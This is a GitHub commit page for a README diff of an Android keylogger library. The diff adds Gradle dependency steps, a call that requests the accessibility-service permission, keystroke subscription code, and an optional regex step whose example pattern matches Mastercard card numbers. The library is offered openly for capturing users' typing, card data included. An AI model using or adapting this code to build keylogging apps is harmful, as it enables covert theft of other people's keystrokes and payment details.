Skip to content

Commit

Permalink
Merge pull request #10 from evilthreads669966/feature_pattern_matchers
Browse files Browse the repository at this point in the history
feature_pattern_matchers
  • Loading branch information
evilthreads669966 authored Sep 29, 2020
2 parents 3e336fb + 5b8de0e commit ade14d4
Showing 1 changed file with 13 additions and 2 deletions.
15 changes: 13 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,14 +12,25 @@ allprojects {
2. Add the dependency to your app's build.gradle
```gradle
dependencies {
implementation 'com.github.evilthreads669966:android_keylogger:1.2'
implementation 'com.github.evilthreads669966:android_keylogger:1.3'
}
```
3. Request the accessibility service permission for your app.
```kotlin
Keylogger.requestPermission(this)
```
4. Subscribe to keystrokes
4. (optional) Add any regular expressions to match
```kotlin
//mastercard
//but this pattern wasn't working for me upon development. I am not very good with them.
Keylogger.addPattern("^5[1-5][0-9]{14}\\$")
```
```kotlin
Keylogger.subscribe { entry ->
//do something with keystrokes here
}
```
5. Subscribe to keystrokes
```kotlin
Keylogger.subscribe { entry ->
//do something with keystrokes here
Expand Down

0 comments on commit ade14d4

Please sign in to comment.